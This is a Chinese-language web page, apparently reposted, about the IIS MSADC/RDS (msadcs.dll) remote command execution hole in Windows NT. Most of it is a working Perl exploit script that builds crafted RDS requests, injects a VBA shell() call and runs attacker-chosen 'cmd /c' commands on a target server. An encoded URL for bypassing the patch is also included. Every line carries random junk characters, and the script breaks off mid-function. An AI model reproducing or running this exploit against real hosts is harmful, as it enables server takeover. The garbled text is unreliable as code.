IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!VaC=I^{ 1;KJUf[N 涉及程序:
}t"K(oamm Microsoft NT server
(,ik:j QgKR=GR6 描述:
,;hpqu| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
?(U;T!n St(jrZb 详细:
bI3GI:hp 如果你没有时间读详细内容的话,就删除:
%sPze] c:\Program Files\Common Files\System\Msadc\msadcs.dll
*iY:R 有关的安全问题就没有了。
u Fw1% kN3 <l7 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
pouXt-%2X Kxa1F,dZ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
?-%(K^y4r 关于利用ODBC远程漏洞的描述,请参看:
w N`Njm9! Qd\='*:! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm CS(XN>N 7QnWw0 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
{}8C/4iP http://www.microsoft.com/security/bulletins/MS99-025faq.asp -9.lFuI \2=I//YF 这里不再论述。
IiRQ-,t1 !s^XWsb8 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
0>Td4qr+u D
vvi)/< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
l5=ih9u 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
_&\'Va$ CshME\/ IY8<^Q'] #将下面这段保存为txt文件,然后: "perl -x 文件名"
:!Dm,PP% >q&5Z #!perl
E3Y0@r #
1ig*Xp[ # MSADC/RDS 'usage' (aka exploit) script
fMUh\u3 #
R) :Xs . # by rain.forest.puppy
<`" #
[<{r~YFjWW # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0G-obHe0 # beta test and find errors!
aem gGw< C>x)jDb? use Socket; use Getopt::Std;
`p9N| V getopts("e:vd:h:XR", \%args);
[;7zg@Sa _q1\8y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
[e
ztu9 -`{W~yz if (!defined $args{h} && !defined $args{R}) {
$:oC\K6 print qq~
`JDZR:bMaT Usage: msadc.pl -h <host> { -d <delay> -X -v }
~GX
]K H -h <host> = host you want to scan (ip or domain)
<QFayZ$ -d <seconds> = delay between calls, default 1 second
D@9 +yu=S -X = dump Index Server path table, if available
Xe_djy'8 -v = verbose
6,jCO@!
-e = external dictionary file for step 5
!~%DR~^` T(Q ~b Or a -R will resume a command session
svDnw cl 2]9
2J ~; exit;}
g.di3GGi `:~Wu/Ogr $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
[t3 Kgjt if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Y DHP-0? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
,aUbB8 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
T]z(>{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
UCmy$aW if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
>KP,67 ezL1,GT if (!defined $args{R}){ $ret = &has_msadc;
/bo=,%wJ[ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^78N25RU( h9imS\gfr print "Please type the NT commandline you want to run (cmd /c assumed):\n"
YJHb\Cf. . "cmd /c ";
k'|yUJ, $in=<STDIN>; chomp $in;
#yR&|*@ $command="cmd /c " . $in ;
ko[d axUB CP;<B1 if (defined $args{R}) {&load; exit;}
p&Qm[! Gv dok<o print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q'+ARW48 &try_btcustmr;
#"!ga)a%L #o}/' print "\nStep 2: Trying to make our own DSN...";
/1{:uh$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}za pN
v tF-l=ph}` print "\nStep 3: Trying known DSNs...";
Zqe$S
+u &known_dsn;
[kN_b<Pc, |4pl}:g/Z print "\nStep 4: Trying known .mdbs...";
# }}6JM &known_mdb;
O%>*=h`P Zazs". if (defined $args{e}){
n.'Ps+G( print "\nStep 5: Trying dictionary of DSN names...";
eHs38X &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
EZ"i0u :NWIUN print "Sorry Charley...maybe next time?\n";
~F,YBX exit;
,9I-3**W .xT{Rz ##############################################################################
CP2wg . u8>aO>(bVg sub sendraw { # ripped and modded from whisker
uK(]@H7~!c sleep($delay); # it's a DoS on the server! At least on mine...
Vq-Kl[-| my ($pstr)=@_;
H{N},B socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
mejNa(D ^ die("Socket problems\n");
Uvc$&j^k if(connect(S,pack "SnA4x8",2,80,$target)){
O:rfDO select(S); $|=1;
dr&G> print $pstr; my @in=<S>;
0nD?X+ u select(STDOUT); close(S);
d(V4;8a0 return @in;
<N~9=g3 } else { die("Can't connect...\n"); }}
ZQKo ]Kdr u0=&_Q(= ##############################################################################
d6[' [dG #*y.C[^5{ sub make_header { # make the HTTP request
=Gzs+6A8 my $msadc=<<EOT
03zt^< POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
D{\o*\TN User-Agent: ACTIVEDATA
0n2H7}Uq Host: $ip
FF^h(Ea Content-Length: $clen
WH39=)D%u Connection: Keep-Alive
y!x[N!a J[Mj8ee# ADCClientVersion:01.06
WW6-oQs_#* Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
t$t'{*t(
T u]O}Ub` --!ADM!ROX!YOUR!WORLD!
W"vkmk Content-Type: application/x-varg
`~VL&o1> Content-Length: $reqlen
#m<uG5l` V?.=_T< EOT
EJ<L,QH3 ; $msadc=~s/\n/\r\n/g;
/&47qU4PJ return $msadc;}
*6AqRE
T;{}bc&I ##############################################################################
9yTDuhJ6 $ `\qY ^.( sub make_req { # make the RDS request
jxm#4 my ($switch, $p1, $p2)=@_;
qj:[NPwaM my $req=""; my $t1, $t2, $query, $dsn;
;3& wO~lW PcZ<JJ16F$ if ($switch==1){ # this is the btcustmr.mdb query
^:ny $query="Select * from Customers where City=" . make_shell();
a[j]fv*6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
E'mT%@MOM $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
e2V;6N UfO='&U^ elsif ($switch==2){ # this is general make table query
V,c^Vqy $query="create table AZZ (B int, C varchar(10))";
FwB xag:u $dsn="$p1";}
m;xa}b{(i Tyaqa0 elsif ($switch==3){ # this is general exploit table query
]lyQ*gM $query="select * from AZZ where C=" . make_shell();
NW;_4g4qE $dsn="$p1";}
?G!p4u?C bcuUej: elsif ($switch==4){ # attempt to hork file info from index server
go6;_ $query="select path from scope()";
FGc#_4SiL $dsn="Provider=MSIDXS;";}
Ny`SE\B+/ L">jSZW[[ elsif ($switch==5){ # bad query
kt_O= $query="select";
&Y9%Y/Y $dsn="$p1";}
uhaHY`w 7tJ#0to $t1= make_unicode($query);
O#J7GbrHO $t2= make_unicode($dsn);
NgsEEPu? $req = "\x02\x00\x03\x00";
(NfB+Ue} $req.= "\x08\x00" . pack ("S1", length($t1));
,d.5K*?aI $req.= "\x00\x00" . $t1 ;
k[<i+C"; $req.= "\x08\x00" . pack ("S1", length($t2));
KC9VQeSc $req.= "\x00\x00" . $t2 ;
\f Kn} ]kG $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8~.8"gQ return $req;}
M1 o@v 0 9|@5eN:N ##############################################################################
;F%EW`7 >OjK0jiPf sub make_shell { # this makes the shell() statement
j3+ hsA/(k return "'|shell(\"$command\")|'";}
i~<.@&vt b rDyjh ##############################################################################
6Qz=g
t%I= vt(}8C+ sub make_unicode { # quick little function to convert to unicode
`W1TqA my ($in)=@_; my $out;
OQg}E@LZ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
`8\"3S return $out;}
d:]ZFk_* j2:9ahW
##############################################################################
+>u 8r&Jw. 5OFB[ sub rdo_success { # checks for RDO return success (this is kludge)
KNP^k$=)3c my (@in) = @_; my $base=content_start(@in);
<5FGL96 if($in[$base]=~/multipart\/mixed/){
mQU t 'j4 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
?f:0GE7 return 0;}
w'xPKO$bzR 23bTCp.d ##############################################################################
pA@R,O>zr x @9rc,by sub make_dsn { # this makes a DSN for us
_IxYnm`pc my @drives=("c","d","e","f");
K^b'<} $|p print "\nMaking DSN: ";
aqi]5, foreach $drive (@drives) {
Fy6Lz.baB print "$drive: ";
j&8GtE1b my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
aE:$ N#|Qa "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#&K}w0}k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Eh9{n,5- $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{irl}EeyC return 0 if $2 eq "404"; # not found/doesn't exist
1^WkW\9kO if($2 eq "200") {
nx{X^oc8e foreach $line (@results) {
@lh]?|*[ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
{e[~1]j3 } return 0;}
K)n058PO RWJyd= ##############################################################################
Ycxv=Et f{(D+7e} sub verify_exists {
\x8'K my ($page)=@_;
|F~U my @results=sendraw("GET $page HTTP/1.0\n\n");
n2'XWbMaL return $results[0];}
Je K0>< u+pZ<Bb ##############################################################################
h}oV)z6 4/2@^\?i) sub try_btcustmr {
A- #c1KU! my @drives=("c","d","e","f");
UH5A;SrTqR my @dirs=("winnt","winnt35","winnt351","win","windows");
mJVru0 vsB3n$2@u foreach $dir (@dirs) {
>T\^dHtz print "$dir -> "; # fun status so you can see progress
eQ=6< ^KZ foreach $drive (@drives) {
%=vU
Z4 print "$drive: "; # ditto
!]z4'* )W $reqlen=length( make_req(1,$drive,$dir) ) - 28;
y]ya.YG $reqlenlen=length( "$reqlen" );
!}"P Hby5N $clen= 206 + $reqlenlen + $reqlen;
+\cG{n* {]7lh#M my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ECuNkmUI if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0A75)T=lQ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
=cx_3gCr{ J
p0j ##############################################################################
S^5Qhv "3Ckc"G@ sub odbc_error {
jhka;m my (@in)=@_; my $base;
92/_!P>
my $base = content_start(@in);
L^ U.h if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|q\Rvt$d $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;![rwra $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)u=a+T $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Uee$5a>( return $in[$base+4].$in[$base+5].$in[$base+6];}
<EuS6Pg print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
t8 ~isuiK print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
6k ]+DbT $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Gnie|[3 )gxZ &n6 ##############################################################################
l+^4y_ ZBc8^QZ sub verbose {
G=KXA'R)1. my ($in)=@_;
=$<